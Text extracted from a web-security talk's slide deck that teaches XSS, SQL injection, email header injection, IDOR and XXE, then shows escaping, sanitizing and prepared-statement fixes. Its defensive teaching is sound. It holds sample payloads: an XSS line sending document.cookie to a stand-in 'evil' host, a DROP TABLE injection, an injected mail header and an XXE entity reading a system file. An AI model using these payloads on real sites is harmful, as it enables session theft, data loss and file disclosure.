106

PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

  • Upload
    others

  • View
    4

  • Download
    0

Embed Size (px)

Citation preview

Page 2: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 3: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 4: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

@Ayeshlive

https://ayesh.me

Ayesh

Ayesh Karunaratne

Freelance Software Developer

Ayesh

Kandy, Sri Lanka - Everywhere

Page 5: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 6: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 7: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 8: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 9: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 10: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 11: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 12: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 13: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 14: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 15: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 16: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 17: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 18: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 19: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

<form><input name="query" /><input type="submit" />

</form>

var query = req.params.query

Page 20: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

var query = req.params.query;document.write('Search results for "' + query + '"');

Page 21: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

var query = req.params.query;document.write('Search results for "' + query + '"');

Page 22: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

var query = req.params.query;document.write('Search results for "' + query + '"');

Page 23: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

var query = req.params.query;document.write('Search results for "' + query + '"');

Page 24: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

var query = req.params.query;document.write('Search results for "' + query + '"');

Page 25: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

var query = req.params.query;document.write('Search results for "' + query + '"');

Page 26: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

var query = req.params.query;document.write('Search results for "' + query + '"');

<script>document.cookie</script>

Page 27: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

var query = req.params.query;document.write('Search results for "' + query + '"');

Page 28: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

this.src='http://evil/?c='+document.cookie

var query = req.params.query;document.write('Search results for "' + query + '"');

Page 29: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

this.src='http://evil/?c='+document.cookie

var query = req.params.query;document.write('Search results for "' + query + '"');

Page 30: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

this.src='http://evil/?c='+document.cookie

var query = req.params.query;document.write('Search results for "' + query + '"');

https://site.noob/?query=Ayesh+%3Cimg+src%3Dx+onerror%3Dthis.src%3D%27http%3A%2F%2Fevil%2F%3Fc%3D%27%2Bdocument.cookie%3E

Page 31: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

<form><input name="query" /><input type="submit" />

</form>

$query = $_GET['query'];

Page 32: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

<?phpquery("SELECT *FROM posts WHEREtitle = '$query'

");?>

Page 33: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

<?phpquery("SELECT *FROM posts WHEREtitle = '$query'

");?>

SELECT *FROM posts WHEREtitle = ' '

Page 34: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

<?phpquery("SELECT *FROM posts WHEREtitle = '$query'

");?>

SELECT *FROM posts WHEREtitle = ' '

Page 35: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

<?phpquery("SELECT *FROM posts WHEREtitle = '$query'

");?>

SELECT *FROM posts WHERE

title = 'Ayesh' s talk is great

Page 36: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

<?phpquery("SELECT *FROM posts WHEREtitle = '$query'

");?>

SELECT *FROM posts WHEREtitle = 'Ayesh'; DROP TABLE posts

Page 37: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

SELECT *FROM posts WHEREtitle = 'Ayesh'; DROP TABLE posts

Page 38: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 39: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

<form><input name="query" /><input type="submit" />

</form>

$query = $_GET['query'];

Page 40: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

$query = $_GET['query'];

From: Site <[email protected]>To: [email protected] Subject: Search alert for $query

Page 41: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

$query = $_GET['query'];

From: Site <[email protected]>

To: [email protected]

Subject: Search alert for $query

From: Site [email protected]: [email protected]: Search alert for how did i accidentally build a shelf

Page 42: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

\r\n

$query = $_GET['query'];

From: Site <[email protected]>

To: [email protected]

Subject: Search alert for $query

From: Site [email protected]: [email protected]: Search alert for how did i accidentally build a shelfReply-To: [email protected]

Page 43: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 44: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 45: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 46: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

Page 47: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 48: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 49: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 50: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 51: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 52: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 53: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 54: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 55: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

(ノ°Д°)ノ︵ ┻━┻

Page 56: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 57: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

[email protected]

Example-example

Page 58: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

How to <script>alert(‘xss’);</script> How to alert(‘xss’);

my-awesome-song-*****.mp3 my-awesome-song-_____.mp3

How to <script>alert(‘xss’);</script> How to

my-class>your-class my-class_your-class

Page 59: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 60: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

Ayesh’s talk is <script>alert(“Oops!”)</script>

Ayesh’s talk is &lt;script&gt;alert(“Oops!”)&lt;/script&gt;

Ayesh’s talk is < script > alert(“Oops!”) < /script>

Page 61: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

<?phpquery("SELECT *FROM posts WHEREtitle = %title

", $query);?>

Page 62: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

<?phpquery("SELECT *FROM posts WHEREtitle = %title

", $query);?>

SELECT *FROM posts WHERE

title = 'Ayesh\'; DROP TABLE posts'

Page 63: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 64: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

filter_var('[email protected]', FILTER_VALIDATE_EMAIL);

is_email('[email protected]');

valid_email_address('[email protected]');

<field name="email" type="text" validate="email" />

var validator = require('validator’);validator.isEmail('[email protected]');

Page 66: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

filter_var(‘###[email protected]', FILTER_SANITIZE_EMAIL);

sanitize_email(‘ [email protected] ');

Page 68: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

filter_var('test <script>alert("xss");</script>', FILTER_SANITIZE_FULL_SPECIAL_CHARS);htmlspecialchars('test <script>alert("xss");</script>', ENT_QUOTES, 'UTF-8');

esc_html('test <script>alert("xss");</script>’);

check_plain('test <script>alert("xss");</script>');

<field name="email" type="text" validate="email" />

var validator = require('validator’);validator.isEmail('[email protected]');

Page 70: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

$post = $wpdb->query($wpdb->prepare("SELECT * FROM posts WHERE title = '%s'",$query

));

$query = $connection->query(“SELECT * FROM posts WHERE title = :title", [':title' =>$query]);

$stmt = $pdo->prepare("SELECT * FROM posts WHERE title = :title");$stmt->execute(['title' => $query]);$post = $stmt->fetch();

Page 72: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 73: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

SELECT *FROM posts WHEREtitle = 'Ayesh'; DROP TABLE posts

Page 74: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

var query = req.params.query;document.write('Search results for "' + query + '"');

<script>document.cookie</script>

Page 75: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 76: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

Page 77: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

https://site.noob/user/796148

Page 78: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

https://site.noob/user/796148/edit

Page 79: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

https://site.noob/user/23453

Page 80: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

https://site.noob/user/23453/edit

Page 81: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

Page 82: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

Page 83: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 84: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 85: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 86: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 87: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 88: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

{name: "Tobias",age: "26",}

array('name' => 'Tobias’,'age' => 26

);

{name: "Tobias", age: 26}

Page 89: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

{name: “Nadine",age: "26",}

array('name' => ‘Nadine’,'age' => 26

);

{name: “Nadine", age: 26}

Page 90: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 91: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

Page 92: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/password" >]><foo>&xxe;</foo>

Page 93: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

Page 94: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

Page 95: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

Page 96: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

• composer update

Page 97: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

• composer update

Page 98: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

Page 99: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

Page 100: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM

Page 101: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 102: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 103: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 104: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 105: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM
Page 106: PowerPoint PresentationPowerPoint Presentation Author Ayesh Karunaratne Created Date 11/17/2018 11:46:09 AM